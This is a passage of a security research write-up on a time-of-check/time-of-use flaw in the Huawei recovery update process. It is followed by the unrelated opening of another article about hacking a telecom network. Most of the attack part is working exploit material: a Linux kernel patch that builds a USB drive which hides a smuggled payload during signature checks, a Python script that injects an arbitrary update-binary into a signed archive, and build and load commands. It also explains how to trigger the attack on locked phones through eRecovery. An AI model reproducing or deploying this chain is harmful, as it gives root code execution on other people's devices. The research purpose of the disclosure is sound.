     * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
    else if (hw_ensure_path_unmounted(partition_entry)) {
      log("%s:%s,line=%d:fail to unmount %s\n","Warn","hw_setup_install_mounts",0x5a6,partition_entry);
      if (!strcmp(partition_entry,"/data") && !try_umount_data())
        log("%s:%s,line=%d:umount data fail\n","Err","hw_setup_install_mounts",0x5a9);
    }
  }
  return 0;
}

int do_map_package(char *path, bool needs_mount, void *package_map) {
  ... /* sanity checks */
  if (needs_mount) {
    if (*path == '@' && hw_ensure_path_mounted(path + 1)) {
      log("%s:%s,line=%d:mount (path+1) fail\n","Warn","do_map_package",0x3f0);
      return 0;
    }
    for (trial_count = 0; trial_count < 10; trial_count++) {
      log("%s:%s,line=%d:try to mount %s in %d/%u times\n","Info","do_map_package",0x3f5,path,trial_count,10);

      /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * needs_mount = true, so the USB flash drive gets mounted here  *
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
      if (hw_ensure_path_mounted(path)) {
        log("%s:%s,line=%d:try to mount %s in %d times successfully\n","Info","do_map_package",0x3f7,path,trial_count);
        return 0;
      }
      ... /* error handling */
      sleep(1);
    }
    ... /* error handling */
  }
  if (sysMapFile(path,package_map) == 0) {
    log("%s:%s,line=%d:map path [%s] success\n","Info","do_map_package",0x40a,path);
    return 1;
  }
  log("%s:%s,line=%d:map path [%s] fail\n","Err","do_map_package",0x407,path);
  return 0;
}

Based on this flow it is easy to spot that if an update archive gets past the second phase (cryptographic verification), code execution is achieved afterwards because the recovery process would try to extract and run the 

update-binary
 file of the update archive. Thanks to these multiple reads, the attacker could therefore provide different update archives at each of these stages, so a straightforward exploitation plan emerges:

  • Version checking stage: construct a valid 
    SOFTWARE_VER_LIST.mbn
     file
  • Signature verification: supply a pristine update archive
  • Installation: inject the custom 
    update-binary

Circumventing Linux Kernel Caching Of External Media

The previous section introduced our “straightforward” exploitation plan.

However, in practice, it does not suffice to just treat the file read syscalls of the update binary as if they could directly result in a unique read request to external media.

The relevant update files are actually 

mmap
-ed by the update binary, and the generated memory read accesses get handled first by the file system API, then by the block device layer of Linux kernel, and finally, after all those layers, they get forwarded to the external media. The file system API uses the actual file system implementation (e.g. exFAT) to turn the high level requests (e.g. “read the first 
0x400
 bytes from the file named 
/usb/update_sd_base.zip
”) into a lower level access of the underlying block device (e.g. “read 
0x200
 bytes from offset 
0x12340000
 and read 
0x200
 bytes from offset 
0x56780000
 on the media”). The block device layer generates the lowest level request, which can be interpreted directly by the storage media, e.g. SCSI commands in case of a USB flash drive.

In addition, the Linux kernel caches the read responses of both the file system API (page cache), and the block devices (block cache, part of the page cache). So at the second time the same read request arrives, the response may be served from cache instead of the storage media, but it depends on the amount of free memory.

Therefore, in the real world, frequent multiple reads of external media normally do not occur thanks to the caching of the operation system. In other words, it is up to the Linux kernel’s caching algorithm when a memory access issued by the recovery binary actually translates into a direct read request to the external media, besides depending heavily on the amount of free memory available. In practice, our analysis showed that the combination of the caching policy and the about 7 GB of free memory (on flagship phones) works surprisingly well, virtually zero reread should be occuring while handling update files, which are at most 5 GB in size, thus they fit into the memory as a whole. So, at first glance, you might think that the Linux kernel’s caching behavior would prevent us from actually exploiting this theoretical ToC-ToU vulnerability. (Un)fortunately, this was not the case!

We can take a step back from caching behavior of normal read operations and look at the functions highlighted in curly brackets in the code flow chart above: those implement the mount and unmount commands. This shows that the file system of the external media is unmounted and remounted between the stages we’ve previously defined! The file cache of Linux kernel is naturally bounded to the backing file system, so when an unmount event happens, the corresponding cache entries are flushed. The subsequent mount command would start with an empty cache state, so the update file must be read again directly from the external media. This certainly and deterministically enables an attacker to supply a different update archive or even a completely new file system at each mount command, thus eventually it can be used to bypass the cryptographic verification and supply arbitrary update archive as per above. Phew 🙂

Creating FaultyUSB

Based on the above, we have an exploit plan, but still what was left is actually implementing our previously discussed “FaultyUSB”: a USB flash drive (USB-OTG mass storage), which can detect the mount events and alter the response data based on a trigger condition. In the following we give a brief, practical guide on how we set up our test environment.

Raspberry Pi As A Development Platform

The Linux kernel has support for USB OTG mass storage device class in general, but we needed to find a computer which has the requisite hardware support for USB OTG, since regular PCs are designed to work in USB host mode only. Of course, Huawei phones themselves support this mode, but for the ease of development we selected the popular Raspberry Pi single-board computer. Specifically, a Raspberry Pi 4B (RPi) model was used, as it supports USB OTG mode on its USB-C connector.

Finally we can put the SD card back into the RPi and connect it to a router via the Ethernet interface. By default, Rasbian OS tries to negotiate an IP address via DHCP and broadcast the 

raspberry.local
 over mDNS protocol, so at first we simply connected to it over SSH via the previously configured username and password. But we didn’t find the DHCP reliable enough actually, so we decided to use static IP address instead:

sudo systemctl disable dhcpcd.service
sudo systemctl stop dhcpcd.service

echo 'auto eth0
allow-hotplug eth0
iface eth0 inet static
  address 10.1.0.1
  netmask 255.255.255.0' | sudo tee /etc/network/interfaces.d/eth0

“Raspberry Pi OS Lite (64bit) (2022.04.04.)” is used as a base image for the RPi, and written to an SD card. The size of the used SD card is indifferent as long the OS fits it, approx. minimum 2GB is recommended.

Writing the image to the SD card is straightforward:

xzcat 2022-04-04-raspios-bullseye-arm64-lite.img.xz | sudo dd of=/dev/mmcblk0 bs=4M iflag=fullblock oflag=direct

Then we mount the first partition and create a user account file and the configuration file and we also enable the SSH server. The 

userconf.txt
 file below defines the 
pi
 user with 
raspberry
 password. The config file disables the Wi-Fi and the Bluetooth to lower power usage, and also configures the USB controller in OTG mode. The command line defines the command to load the USB controller with the mass storage module.

mount /dev/mmcblk0p1 /mnt && cd /mnt

touch ssh

echo 'pi:$6$/4.VdYgDm7RJ0qM1$FwXCeQgDKkqrOU3RIRuDSKpauAbBvP11msq9X58c8Que2l1Dwq3vdJMgiZlQSbEXGaY5esVHGBNbCxKLVNqZW1' > userconf.txt

echo 'arm_64bit=1
dtoverlay=dwc2,dr_mode=peripheral
#arm_freq=600
arm_boost=0
disable_splash=1
dtoverlay=disable-bt
dtoverlay=disable-wifi
boot_delay=0' > config.txt

echo 'console=serial0,115200 console=tty1 root=PARTUUID=<UUID>-02 rootfstype=ext4 rootwait modules-load=dwc2,g_mass_storage' > cmdline.txt

cd && umount /dev/mmcblk0p1

Getting High On Our Own Power Supply

The power supply of the Raspberry Pi 4B proved to be problematic for this particular setup. It can be powered either through the USB-C connector or through dedicated pins of the IO header, and it requires a non-trivial amount of power, about 1.5 A. In case of supplying power from the IO headers, the regulated 5 V voltage also appears on the VDD pins of the USB-C, and by connecting it to a Huawei phone it incorrectly detects the RPi being in USB host mode instead of the desired OTG mode. As it turned out the USB-C connector on the RPi is not in fact fully USB-C compatible…

Luckily, the tested Huawei phones can supply enough power to boot the RPi. However, it takes about 8-10 seconds for the RPi to fully boot up and Huawei phones shut the power down while rebooting into recovery mode. Obviously, this means that the RPi shuts down for lack of power, and the target Huawei phone only enables the power over USB-C when it has been already booted into recovery mode. That’s why it is possible (and during our devlopment this occured several times) that the RPi misses the recovery’s timeout window of waiting for an USB drive, simply because it can’t boot up fast enough.

One way to solve this problem is to boot the phone into eRecovery mode, by holding the Power and Volume Up buttons, because that way the update doesn’t begin automatically, thus giving some time for the RPi to boot up. But we wanted to support a more comfortable way of updating, from the “Project Menu” application, “Software Upgrade / Memory card Updage” option, which results in automatic update of the archive without waiting for any user interaction.

Our solution was to power the RPi via a USB-C breakout board via a dedicated power supply adapter. Also the breakout board passes through the data lines to the target Huawei phone, but the VDD lines are disconnected (i.e. the PCB traces are cut) in the direction of the phone to prevent the RPi to be recognized as a host device. With this setup the RPi can be powered independently of the target device and it can be accessed over SSH via the Ethernet interface regardless of the power state of the target Huawei phone.

To further tweak the OS boot time and power consumption, we disable a few unnecessary services:

sudo systemctl disable rsyslog.service
sudo systemctl stop rsyslog.service
sudo systemctl disable avahi-daemon
sudo systemctl stop avahi-daemon
sudo systemctl disable avahi-daemon.socket
sudo systemctl stop avahi-daemon.socket
sudo systemctl disable triggerhappy.service
sudo systemctl stop triggerhappy.service
sudo systemctl disable wpa_supplicant.service
sudo systemctl stop wpa_supplicant.service
sudo systemctl disable systemd-timesyncd
sudo systemctl stop systemd-timesyncd

By further optimizing the power consumption, we disabled as much as we can from the currently unnecessary GPU subsystem. To avoid premature write-exhaustion of the SD card we disable persisting the log files, because we are about to generate quite a few megabytes of them.

echo 'blacklist bcm2835_codec
blacklist bcm2835_isp
blacklist bcm2835_v4l2
blacklist drm
blacklist rpivid_mem
blacklist vc_sm_cma' | sudo tee /etc/modprobe.d/blacklist-bcm2835.conf

echo '[Journal]
Storage=volatile
RuntimeMaxUse=64M' | sudo tee /etc/systemd/journald.conf

Finally we restart the RPi, verify that it is still accessible over SSH and shut it down in preparing of a kernel build.

Kernel Module Patching

The main requirement of the programmable USB OTG mass storage device is the ability to detect the update state, so that it can serve different results based on current stage. The most obvious place to implement such feature is directly in the mass storage functionality implementation, which is located at 

drivers/usb/gadget/function/f_mass_storage.c
 in the Linux kernel.

The crucial feature of FaultyUSB is the trigger implementation, which dictates when to hide the smuggled ZIP file. To implicitly detect the state of the update process a very simple counting algorithm prooved to be sufficient. Specific parts of the file system seem to be only read during mount events, thus by counting mount-like patterns the update stage can be recovered.

While the trigger condition is active, the read responses are modified by masking by zeros. The read address and the masking area size should be configured to cover the smuggled ZIP at the end of the update archive.

Here is the 

mass_storage_patch.diff
 file, with huge amount of logging code:

diff --git a/drivers/usb/gadget/function/f_mass_storage.c b/drivers/usb/gadget/function/f_mass_storage.c
index 6ad669dde..653463213 100644
--- a/drivers/usb/gadget/function/f_mass_storage.c
+++ b/drivers/usb/gadget/function/f_mass_storage.c
@@ -596,6 +596,8 @@ static int do_read(struct fsg_common *common)
 	unsigned int		amount;
 	ssize_t			nread;
 
+	loff_t begin, end;
+
 	/*
 	 * Get the starting Logical Block Address and check that it's
 	 * not too big.
@@ -662,8 +664,35 @@ static int do_read(struct fsg_common *common)
 		file_offset_tmp = file_offset;
 		nread = kernel_read(curlun->filp, bh->buf, amount,
 				&file_offset_tmp);
+		LINFO(curlun, "READ A=0x%llx S=0x%x\n", file_offset, amount);
 		VLDBG(curlun, "file read %u @ %llu -> %d\n", amount,
 		      (unsigned long long)file_offset, (int)nread);
+
+		/* mask read on trigger (e.g. when trigger_counter == 1) */
+		if (
+			((file_offset + amount) > curlun->payload_offset) &&
+			(file_offset < (curlun->payload_offset + curlun->payload_size))
+		) {
+			LINFO(curlun, "READ ON PAYLOAD AREA (A=0x%llx S=0x%x)\n",
+			      file_offset, amount);
+			if (curlun->trigger_counter == 1) {
+				begin = max(file_offset, curlun->payload_offset) - file_offset;
+				end = min(file_offset + amount, curlun->payload_offset + curlun->payload_size) - file_offset;
+				LINFO(curlun, "READ ZERO-MASKED RANGE: [0x%llx;0x%llx)\n", begin, end);
+				memset(bh->buf + begin, 0, end-begin);
+			}
+		}
+
+		/* detect read on the trigger offset and decrement the trigger counter */
+		if (
+			(curlun->trigger_counter > 0) && 
+			(curlun->trigger_offset >= file_offset) &&
+			(curlun->trigger_offset < (file_offset+amount))
+		) {
+			LINFO(curlun, "READ ON TRIGGER OFFSET: T=%d\n", curlun->trigger_counter);
+			curlun->trigger_counter -= 1;
+		}
+
 		if (signal_pending(current))
 			return -EINTR;
 
@@ -858,6 +887,7 @@ static int do_write(struct fsg_common *common)
 		file_offset_tmp = file_offset;
 		nwritten = kernel_write(curlun->filp, bh->buf, amount,
 				&file_offset_tmp);
+		LINFO(curlun, "WRITE A=0x%llx S=0x%x\n", file_offset, amount);
 		VLDBG(curlun, "file write %u @ %llu -> %d\n", amount,
 				(unsigned long long)file_offset, (int)nwritten);
 		if (signal_pending(current))
@@ -922,6 +952,7 @@ static void invalidate_sub(struct fsg_lun *curlun)
 	unsigned long	rc;
 
 	rc = invalidate_mapping_pages(inode->i_mapping, 0, -1);
+	LINFO(curlun, "invalidate_mapping_pages");
 	VLDBG(curlun, "invalidate_mapping_pages -> %ld\n", rc);
 }
 
@@ -996,6 +1027,7 @@ static int do_verify(struct fsg_common *common)
 		file_offset_tmp = file_offset;
 		nread = kernel_read(curlun->filp, bh->buf, amount,
 				&file_offset_tmp);
+		LINFO(curlun, "VERIFY A=0x%llx S=0x%x\n", file_offset, amount);
 		VLDBG(curlun, "file read %u @ %llu -> %d\n", amount,
 				(unsigned long long) file_offset,
 				(int) nread);
@@ -2733,6 +2765,12 @@ int fsg_common_create_lun(struct fsg_common *common, struct fsg_lun_config *cfg,
 	lun->initially_ro = lun->ro;
 	lun->removable = !!cfg->removable;
 
+	/* ToC-ToU patch */
+	lun->trigger_counter = cfg->trigger_counter;
+	lun->trigger_offset = cfg->trigger_offset;
+	lun->payload_offset = cfg->payload_offset;
+	lun->payload_size = cfg->payload_size;
+
 	if (!common->sysfs) {
 		/* we DON'T own the name!*/
 		lun->name = name;
@@ -2770,11 +2808,13 @@ int fsg_common_create_lun(struct fsg_common *common, struct fsg_lun_config *cfg,
 				p = "(error)";
 		}
 	}
-	pr_info("LUN: %s%s%sfile: %s\n",
+	pr_info("LUN: %s%s%sfile: %s trigger:%d@0x%llx payload:[0x%llx;0x%llx)\n",
 	      lun->removable ? "removable " : "",
 	      lun->ro ? "read only " : "",
 	      lun->cdrom ? "CD-ROM " : "",
-	      p);
+	      p,
+	      lun->trigger_counter, lun->trigger_offset,
+	      lun->payload_offset, lun->payload_offset+lun->payload_size);
 	kfree(pathbuf);
 
 	return 0;
@@ -3333,6 +3373,9 @@ static struct usb_function_instance *fsg_alloc_inst(void)
 		goto release_common;
 
 	pr_info(FSG_DRIVER_DESC ", version: " FSG_DRIVER_VERSION "\n");
+	pr_info("***********************************\n");
+	pr_info("* Patched for ToC-ToU exploration *\n");
+	pr_info("***********************************\n");
 
 	memset(&config, 0, sizeof(config));
 	config.removable = true;
@@ -3428,6 +3471,12 @@ void fsg_config_from_params(struct fsg_config *cfg,
 			params->file_count > i && params->file[i][0]
 			? params->file[i]
 			: NULL;
+		
+		/* ToC-ToU patch */
+		lun->trigger_counter = params->trigger_counter[i];
+		lun->trigger_offset = params->trigger_offset[i];
+		lun->payload_offset = params->payload_offset[i];
+		lun->payload_size = params->payload_size[i];
 	}
 
 	/* Let MSF use defaults */
diff --git a/drivers/usb/gadget/function/f_mass_storage.h b/drivers/usb/gadget/function/f_mass_storage.h
index 3b8c4ce2a..1e13a2177 100644
--- a/drivers/usb/gadget/function/f_mass_storage.h
+++ b/drivers/usb/gadget/function/f_mass_storage.h
@@ -16,6 +16,15 @@ struct fsg_module_parameters {
 	unsigned int	nofua_count;
 	unsigned int	luns;	/* nluns */
 	bool		stall;	/* can_stall */
+
+	/* ToC-ToU patch */
+	int		trigger_counter[FSG_MAX_LUNS];
+	loff_t		trigger_offset[FSG_MAX_LUNS];
+	loff_t		payload_offset[FSG_MAX_LUNS];
+	loff_t		payload_size[FSG_MAX_LUNS];
+	unsigned int	trigger_counter_count, trigger_offset_count;
+	unsigned int	payload_offset_count, payload_size_count;
+
 };
 
 #define _FSG_MODULE_PARAM_ARRAY(prefix, params, name, type, desc)	\
@@ -40,6 +49,14 @@ struct fsg_module_parameters {
 				"true to simulate CD-ROM instead of disk"); \
 	_FSG_MODULE_PARAM_ARRAY(prefix, params, nofua, bool,		\
 				"true to ignore SCSI WRITE(10,12) FUA bit"); \
+	_FSG_MODULE_PARAM_ARRAY(prefix, params, trigger_counter, int,	\
+				"The number of masking the payload area with zeros"); \
+	_FSG_MODULE_PARAM_ARRAY(prefix, params, trigger_offset, ullong,	\
+				"Byte offset of the trigger area"); 	\
+	_FSG_MODULE_PARAM_ARRAY(prefix, params, payload_offset, ullong,	\
+				"Byte offset of the payload area"); 	\
+	_FSG_MODULE_PARAM_ARRAY(prefix, params, payload_size, ullong,	\
+			"Byte size of the payload area"); 		\
 	_FSG_MODULE_PARAM(prefix, params, luns, uint,			\
 			  "number of LUNs");				\
 	_FSG_MODULE_PARAM(prefix, params, stall, bool,			\
@@ -91,6 +108,12 @@ struct fsg_lun_config {
 	char cdrom;
 	char nofua;
 	char inquiry_string[INQUIRY_STRING_LEN];
+
+	/* ToC-ToU patch */
+	int trigger_counter;
+	loff_t trigger_offset;
+	loff_t payload_offset;
+	loff_t payload_size;
 };
 
 struct fsg_config {
diff --git a/drivers/usb/gadget/function/storage_common.h b/drivers/usb/gadget/function/storage_common.h
index bdeb1e233..84576bfcb 100644
--- a/drivers/usb/gadget/function/storage_common.h
+++ b/drivers/usb/gadget/function/storage_common.h
@@ -120,6 +120,12 @@ struct fsg_lun {
 	const char	*name;		/* "lun.name" */
 	const char	**name_pfx;	/* "function.name" */
 	char		inquiry_string[INQUIRY_STRING_LEN];
+
+	/* ToC-ToU patch */
+	int		trigger_counter;
+	loff_t		trigger_offset;
+	loff_t		payload_offset;
+	loff_t		payload_size;
 };
 
 static inline bool fsg_lun_is_open(struct fsg_lun *curlun)

We’ve done the kernel compilation off-target, on an x86 Ubuntu 22.04 machine, so a cross compilation environment was needed. Acquiring the kernel sources (we used the 

a90c1b9c
) and applying the mass storage patch:

sudo apt install git bc bison flex libssl-dev make libc6-dev libncurses5-dev
sudo apt install crossbuild-essential-arm64
mkdir linux
cd linux
git init
git remote add origin https://github.com/raspberrypi/linux
git fetch --depth 1 origin a90c1b9c7da585b818e677cbd8c0b083bed42c4d
git reset --hard FETCH_HEAD
git apply < ../mass_storage_patch.diff

For kernel config we use the Raspberry Pi 4 specific defconfig. The default kernel configuration contains a multitude of unnecessary modules, they could have been trimmed down quite a bit.

KERNEL=kernel8
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- bcm2711_defconfig
make -j8 ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- Image modules dtbs

After building the kernel, we copy the products to the SD card:

mount /dev/mmcblk0p1 /mnt/boot
mount /dev/mmcblk0p2 /mnt/root

mv /mnt/boot/kernel8.img /mnt/boot/kernel8-backup.img
mv /mnt/boot/overlays/ /mnt/boot/overlays_backup

mkdir /mnt/boot/overlays/
cp arch/arm64/boot/Image /mnt/boot/kernel8.img
cp arch/arm64/boot/dts/broadcom/*.dtb /mnt/boot/
cp arch/arm64/boot/dts/overlays/*.dtb* /mnt/boot/overlays/
cp arch/arm64/boot/dts/overlays/README /mnt/boot/overlays/

PATH=$PATH make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- INSTALL_MOD_PATH=/mnt/root modules_install

umount /dev/mmcblk0p1
umount /dev/mmcblk0p2

Finally we put the SD card back into the RPi and boot it.

Crafting the Update Archive

Recall that we have three phases of the update process separated by the mount actions: the first one checks software version for compatibility of the update with the device, the second verifies the update cryptographically, the third applies the update. We are going to construct a “frankenZIP” update archive which can presents itself in different ways throughout the update phases using our FaultyUSB to achieve our goal.

It may seem logical at first that in the first two steps (compatibility check, signature verification) we can use the same thing, since we just need a valid update archive that is both signed and has a matching version for the given device. However, the second phase of the update process is actually more convoluted as it performs multiple sub-checks: in addition to the Android-specific update signature verification, there is another important phase of the verification stage, which is the authentication token checking.

The authentication token is a cryptographically signed token, infeasible to forge, but it only applies to the OTA update archives, the SD-type updates are not checked for auth tokens. SD updates are most likely meant to be installed locally, e.g. literally from an SD-card, so there is no Huawei server to be involved in accepting the update process and issuing an auth-token.

It is possible to find an OTA update archive for a specific device, because the end user must be able to update their phone, so there must be a way to publicly access the OTA updates. Unfortunately SD updates are more difficult to find, we only managed to find a few model-version combinations on Android file hosting sites. Analyzing update archives of different types and versions we found that Huawei is using the so-called 

hotakey_v2
 RSA key in broad ranges of devices as the Android-specific signing key: both an SD update for LIO EMUI 11 and the latest HarmonyOS updates for NOH are signed with this key. This means that an update archive for a different model and older OS version may still pass the cryptographic verification successfully even on devices with a fresh HarmonyOS version.

Also, there are some recent changes in the update archive content: the newer update archives (both OTAs and SDs) have begun to utilize the 

packageinfo.mbn
 version description file, which is also checked during in the verification stage. If this file exists, a more thorough version-compatibility test is performed: e.g. when it defines an “Upgrade” field and the installed OS has a greater version number than the current update has, the update process is aborted. However, the check is skipped if this file is missing – which is exactly the case with the pre-HarmonyOS updates, e.g. the EMUI 11 SD update archives don’t have the 
packageinfo.mbn
 file.

Solving on all those constraints eventually we were able to find a publicly available file on a firmware sharing site (named 

Huawei Mate 30 Pro Lion-L29 hw eu LIO-L29 11.0.0.220(C432E7R8P4)_Firmware_EMUI11.0.0_05016HEY.zip
), which contains the SD update of LIO-L29 11.0.0.220 version. There are three ZIP files in an SD update: base, preload, and cust package. Each of them are signed. We selected the cust package to be the foundation of the PoC, because of its tiny (14 KB) size.

This file is perfect for the second phase of the update (verification), but it would obviously not have the correct 

SOFTWARE_VER_LIST.mbn
 for our target devices. That’s why the exploit has to present the external media differently between phases 1 and 2 as well: first we will produce the variant that will have the desired 
SOFTWARE_VER_LIST.mbn
, but in the second phase we will produce the previously mentioned SD update archive file for EMUI 11, that passes not only signature verification, but also bypasses the authentication token and the 
packageinfo
 requirement. However, this original archive file is not used exactly “as-is” for phase two: we must make a change to it so that it still passes verification in phase two while also contains the arbitrary binary to be executed in the third phase (code execution).

Creating such a static “frankenZIP” that can produce multiple contents depending on update stage was the main point of our previous publication — see the UnZiploc presentation on exploiting CVE-2021-40045. The key to it is the way the parsing algorithm of the Android-specific signature footer works. The implementation still enables us to make a gap between the end of the actual ZIP file and the beginning of the whole-file PKCS#7 signature. This gap is a No man’s land in the sense that the ZIP parsers omit it, as it is technically part of the ZIP comment field; likewise the signature verifier also skips it, because the signature field is aligned to the end of the file. However (and this is why we needed a new vulnerability compared to the previous report) statically smuggling a ZIP file inside the gap area would no longer be possible, since the fix Huawei employed, i.e. searching for the ZIP End of Central Directory marker in the archive’s comment field, is an effective mitigation.

This EOCD searching happens in the verification phase, just before the Android-specific signature checking. This means that during the verification phase a pristine update archive must be used (apart from the fact that it is still possible to create a gap between the signature and the end of the ZIP data).

Therefore, the idea is to utilize the patched mass storage functionality of the Linux kernel to hide the injected ZIP inside the update archive exactly when the update process reaches the verification phase. This is done by masking the payload area with zeros, so when a read-access occures at the end of the ZIP file during the EOCD searching phase of verification process, the phone will read zeros in the No man’s land and therefore the new fix will not cause an assertion. However, reading the ZIP file in the third phase, the smuggled content will be provided and therefore (similarly to the previous vulnerability), the modified 

update-binary
 will end up being executed.

The content of the crafted ZIP file can be restricted to a minimal file set, to only those which are essential to pass the sanity (

META-INF/CERT.RSA
SD_update.tag
) and version (
SOFTWARE_VER_LIST.mbn
) checks during the update process. Supported models depend on the content of the 
SOFTWARE_VER_LIST.mbn
 file, where model codenames, geographical revision, and a minimally supported firmware version are listed. The 
update-binary
contains the arbitrary code that will be executed.

Here is the ZIP-smuggling generator (

smuggle_zip_inplace.py
), which takes a legitimate signed ZIP archive as a base and inject into it the previously discussed minimal file set and a custom binary to be executed.

import argparse
import struct
import zipfile
import io
import os


if __name__ == '__main__':
	parser = argparse.ArgumentParser(description="poc update.zip repacker")
	parser.add_argument("file", type=argparse.FileType("r+b"), help="update.zip file to be modified")
	parser.add_argument("update_binary", type=argparse.FileType("rb"), help="update binary to be injected")
	parser.add_argument("-g", "--gap", default="-1", help="gap between EOCD and signature (-1: maximum)")
	parser.add_argument("-o", "--ofs", default="-1", help="payload offset in the gap")
	args = parser.parse_args()

	gap_size = int(args.gap, 0)
	payload_ofs = int(args.ofs, 0)

	args.file.seek(0, os.SEEK_END)
	original_size = args.file.tell()
	args.file.seek(-6, os.SEEK_END)
	signature_size, magic, comment_size = struct.unpack("<HHH", args.file.read(6))
	assert magic == 0xffff

	print(f"comment size   = {comment_size}")
	print(f"signature size = {signature_size}")

	# get the signature
	args.file.seek(-signature_size, os.SEEK_END)
	signature_data = args.file.read(signature_size - 6)

	# prepare the gap to where the payload will be placed
	# (gap is the new comment size - signature size)
	if gap_size == -1:
		gap_size = 0xffff - signature_size
	assert gap_size + signature_size <= 0xffff

	# automatically set the payload offset to be 0x1000-byte aligned
	if payload_ofs == -1:
		payload_ofs = (comment_size - original_size) & 0xfff

	print(f"gap size       = {gap_size}")
	print(f"payload offset = {payload_ofs}")

	# trucate the ZIP at the end of the signed data
	args.file.seek(-(comment_size + 2), os.SEEK_END)
	end_of_signed_data = args.file.tell()
	args.file.truncate(end_of_signed_data)

	# write the new (original ZIP's) EOCD according to the updated gap size
	args.file.write(struct.pack("<H", gap_size + signature_size))

	# gap before filling
	args.file.write(b"\x00"*(payload_ofs))

	# write a marker before the injected payload
	args.file.write(b"=PAYLOAD-BEGIN=\x00")

	# generate the injected ZIP payload
	z = zipfile.ZipFile(args.file, "w", compression=zipfile.ZIP_DEFLATED)
	# ensure the CERT.RSA has a proper length, the content is irrelevant
	z.writestr("META-INF/CERT.RSA", b"A"*1300)

	# the existence of this file make authentication tag verification skipped for OTA
	z.writestr("skipauth_pkg.tag", b"")
	
	# get the update binary to be executed
	z.writestr("META-INF/com/google/android/update-binary", args.update_binary.read())
	
	# some more files are necessary for an "SD update"
	known_version_list = [
		b"LIO-LGRP2-OVS 102.0.0.1",
		b"LIO-LGRP2-OVS 11.0.0",
		b"NOH-LGRP2-OVS 102.0.0.1",
		b"NOH-LGRP2-OVS 11.0.0",
	]
	z.writestr("SOFTWARE_VER_LIST.mbn", b"\n".join(known_version_list)+b"\n")
	z.writestr("SD_update.tag", b"SD_PACKAGE_BASEPKG\n")
	z.close()

	# write a marker after the injected payload
	args.file.write(b"==PAYLOAD-END==\x00")

	payload_size = args.file.tell() - (end_of_signed_data + 2) - payload_ofs

	assert payload_size + payload_ofs < gap_size, f"{payload_size} + {payload_ofs} < {gap_size}"

	# gap after filling
	args.file.write(b"\x00"*(gap_size - payload_ofs - payload_size))

	# signature
	args.file.write(signature_data)

	# footer
	args.file.write(struct.pack("<HHH", signature_size, 0xffff, gap_size + signature_size))

Regarding the actual content of the PoCs: because a mass storage device has no immediate understanding on higher levels, like file system or even files, it can only operate on raw storage level, so the output of the PoCs should be in fact a raw file system image. Here is below the file system image generation script, where the 

update_sd_base.zip
 archive is the 
cust
 part of the aformentioned LIO update and the 
update-binary-poc
the ELF executable to be run. The 
update-binary-poc
 is the static aarch64 ELF file, which finally gets 
execve
by the recovery, thus reaching arbitrary code execution as root. Also note that the output image (
file_system.img
) only contains a pure file system, and has no proper partition table.

python3 smuggle_zip_inplace.py update_sd_base.zip update-binary-poc
dd if=/dev/zero of=file_system.img bs=1M count=10
mkfs.exfat file_system.img
mkdir -p mnt
sudo mount -o loop,rw,nosuid,nodev,relatime,uid=1000,gid=1000,fmask=0022,dmask=0022,iocharset=utf8 -t exfat file_system.img mnt
mkdir -p mnt/dload
dd if=/dev/zero of=mnt/padding_between_exfat_headers_and_update_archive bs=1M count=1
sudo umount mnt
rmdir mnt

python -c 'd=open("file_system.img","rb").read();o=d.find("update_sd_base".encode("utf-16le"));b=d.find(b"=PAYLOAD-BEGIN=");e=d.find(b"==PAYLOAD-END==")+16;print(f"sudo rmmod g_mass_storage; sudo modprobe g_mass_storage file=/home/pi/file_system.img trigger_counter=4 trigger_offset=0x{o:x} payload_offset=0x{b:x} payload_size={e-b}")'

The file systems are tiny, just about 10 MB in size and formatted in exFAT. To have a proper offset-distance between the file system metadata (e.g. the file node descriptor) and the actual update archive, a 1 MB zero filled dummy file is inserted first. This is only a precaution to avoid the Linux kernel to cache the beginning of the update archive when it reads the file system metadata part.

The final step of the PoC build process automatically constructs a command which can be used to set the patched mass storage device parameters with the correct trigger and payload parameters. The trigger condition is defined as a read event at file decriptor of the 

update_sd_base.zip
 file, because the file path of the update archive must be resolved into a file node by file system, so the file metadata must be read before the actual file content. Also the trigger counter parameter is empirically set as a constant based on the observed number of mount events, directory listings and file stats prior to the verification stage.

Leveraging Arbitrary Code Execution

Gaining root level code exec is nice and normally one would like to open a reverse shell to make use of it, but the recovery mode in which the update runs leaves us a very restricted environment in terms of external connections. However, as we already detailed in the UnZiploc presentation last year, the recovery mode by design can make use of WiFi to realize a “phone disaster recovery” feature, in which it download the OTA over internet directly from the recovery. So we could make use of the WiFi chip to connect to our AP and thus make the reverse shell possible. The exact PoC code is not disclosed here, it is left as an exercise for the reader 🙂

Running the PoC

After building the PoC the resulting file system image file is transferred to the Raspberry Pi and then loaded as the USB mass storage kernel module on the RPi, e.g.:

sudo rmmod g_mass_storage
sudo modprobe g_mass_storage \
  file=/home/pi/file_system.img \
  trigger_counter=4 trigger_offset=0x204042 \
  payload_offset=0x308000 payload_size=3672

Then we connect the RPi with the target phone with the USB-C cable and simply trigger the update process. This can be done in different ways, depending on the lock state of the device.

If the phone is unlocked (i.e. you are trying to root your own phone :), once the phone recognizes the USB device, a notification appears and the file explorer now can list the content of our 10 MB emulated flash drive. Then the dialer can be used to access the ProjectMenu application by dialing 

*#*#2846579#*#*
 (or in case of a tablet use the calculator in landscape mode and write 
()()2846579()()
), then select “4. Software Upgrade”, and then “1. Memory card Upgrade”.

More interestingly, if the phone credentials are not known, so the screen can’t be unlocked to access the ProjectMenu application, the SD update method is still reachable via the eRecovery menu, by powering the phone on while by pressing the Power and Volume Up buttons.

Because the trigger counter can be in an indefinite state after the normal mode Android read the external media, it is very important to execute the same kernel module unloader and loader command again while the phone reboots! This way the trigger counter is only affected by the update process, thus it works correctly.

The update process itself should be fairly quick, as the whole archive is just a few KBs, so the PoC code gets executed shortly, in a few seconds, after entering the recovery mode.

To close things out, here is a video capture of the exploit 🙂

How I hacked into a Telecom Network — Part 1 (Getting the RCE)

Original text by Harpreet Singh

TLDR; Red Team Engagement for a telecom company. Got a foothold on the company’s Network Monitoring System (NMS). Sorted reverse shell issue with tunneling SSH over HTTP. Went full-on Ninja when getting SSH over HTTP. Proxied inside the network to get for internal network scan. Got access to CDRs and VLR with SS7 application.

